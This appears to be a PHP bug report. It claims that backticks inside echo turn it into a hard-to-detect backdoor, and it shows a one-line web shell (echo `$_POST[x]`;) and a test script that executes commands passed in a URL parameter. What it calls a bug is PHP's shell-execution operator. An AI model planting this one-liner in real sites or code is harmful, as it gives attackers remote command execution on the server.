Description:
------------
echo function become a backdoor.
hello, i'm YoCo,from Silic Network Solutions Company,China.
I find that some character can make the function ECHO become the backdoor, just one line!!
like this:
echo `$_POST[x]`;
the quote character is ``, not the '',it is diffrent between ' and `,is it right?
i dont know why the `` will equal the function SYSTEM, i test it both on the windows with iis and linux with apache,both of them are work well, however the ECHO function become a hacker's backdoor, if some one use it, the manager hard to find it.

Test script:
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<?php
/* usage: test.php?x=dir */
echo `$_GET[x]`;
?>

Expected result:
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the ECHO function becomes the SYSTEM function, just one line script.